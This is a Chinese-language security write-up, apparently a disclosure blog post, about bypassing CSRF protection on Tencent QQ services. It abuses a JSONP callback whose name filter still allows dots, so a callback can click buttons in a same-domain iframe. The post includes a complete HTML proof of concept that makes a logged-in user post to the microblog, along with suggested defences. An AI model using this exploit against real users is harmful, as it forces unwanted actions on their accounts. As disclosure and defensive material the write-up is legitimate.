我是如何绕过csrf防护让qq用户发微薄的

20151217
使用微信扫一扫查看全文干货

今天扯淡一种另类的csrf:通过低敏感度,所以没有csrf防护的页面,来操作高敏感度的页面,比如微薄加粉,发微薄云云。

/* 无耻的小注释
    这个问题已经在腾讯漏洞报告平台报告,觉得比较好玩,故扯出来发到zone里,让大家乐乐。
    腾讯这样的忽略点应该不少,大家可以再挖挖。
*/

话说某个月高风黑,伸手不见黑夜的五指,菜逼哥正蛋疼的挖着tx的洞,为了换几个公仔给妹纸逗乐,下意识地在火狐界面下按下了F12。
据某XX的经验,那些看得见的页面,屌丝程序猿们基本都有防护,那些看不见得地方最容易出问题。在web2.0的今天,界面上最看不见的东西是什么,那当然各种回调了。所以按F12找各种json、callback,无往不利。

就在菜逼哥按下F12的那个时刻,一个网址映入菜逼哥的眼帘:
http://dict.py.qq.com/cgi-bin/login?cmd=login&js_tag=1&callback=callback
于是,熟练的手起刀落,查看起源代码:
<script type="text/javascript">
<!--
document.domain='qq.com';
try {
callback({'cmd':'login', 'result':0});
} catch (e) {}
//-->
</script>

呵呵,又一个写在<script>标签中的回调。各位现在可以尽情的fuzz一下,此处回调对回调名字过滤甚是严格,只允许a-zA-Z0-9[]'".这些字符。妄图alert(/hacked by 路人甲@wooyun/)的希望都破灭了
似乎没戏了,不过,似乎,总感觉哪里不太对劲的样子。。。。

仔细琢磨琢磨。。。。
利用点
似乎

出在
那个
小数点上

著名的“风骚爱情湿人学者”韩寒童鞋曾经曰过,什么叫现代湿,把散文拆开,分行来写就对了。
菜逼哥一直对那些会写湿的人很仰慕,就也附庸风雅,写了上面这一小段,大家凑合着看看?

大胆假设一下,如果callback的取值是parent.iframe_id.element_id.click,那么位于父页面中,iframe引用了与其同域的页面中的元素、函数这些东西,会不会触发、调用呢?
一个声音高叫着:答案是有的

既然答案是有的,菜逼哥我就不罗嗦了,先放出利用代码再说吧:
<html><body>
<script>
function step1(){
        var obj=document.createElement("iframe");
        obj.src="http://dict.py.qq.com/cgi-bin/login?cmd=login&js_tag=1&callback=parent.xx.web_weibo.click";
        document.body.appendChild(obj);
        setTimeout("step2();",100);
}
function step2(){
        var obj=document.createElement("iframe");
        obj.src="http://dict.py.qq.com/cgi-bin/login?cmd=login&js_tag=1&callback=parent.xx.postButton.click";
        document.body.appendChild(obj);
}
</script>
<iframe id='xx' name='xx' src='http://sns.qzone.qq.com/cgi-bin/qzshare/cgi_qzshare_onekey?url=http://cnssuestc.org/' onload="javascript:step1();" width="1000" height="1000" ></iframe>
</body></html>


http://sns.qzone.qq.com/cgi-bin/qzshare/cgi_qzshare_onekey?url=http://cnssuestc.org/
这个页面是qq空间的一键分享网址的页面,访问下就会看到,页面左下角有一个同时转发到微薄云云。
然后呢,代码应该也不需要解释了,大家都看得懂。

这样的问题说大不大,说小不小,关键就看到被操作页面有没有敏感的函数、元素可以被调用了。
防范的话,应该也是比较简单的,在操作原页面做普通的csrf防护:加token也好,referer判断也行;
原页面限制下小数点出现的次数:比如...。
被操作页面判断top.location,parent.location是否为可信域名下的页面:这个可能容易疏漏。whatever,也是一种限制被利用的方式

最后给两个效果图吧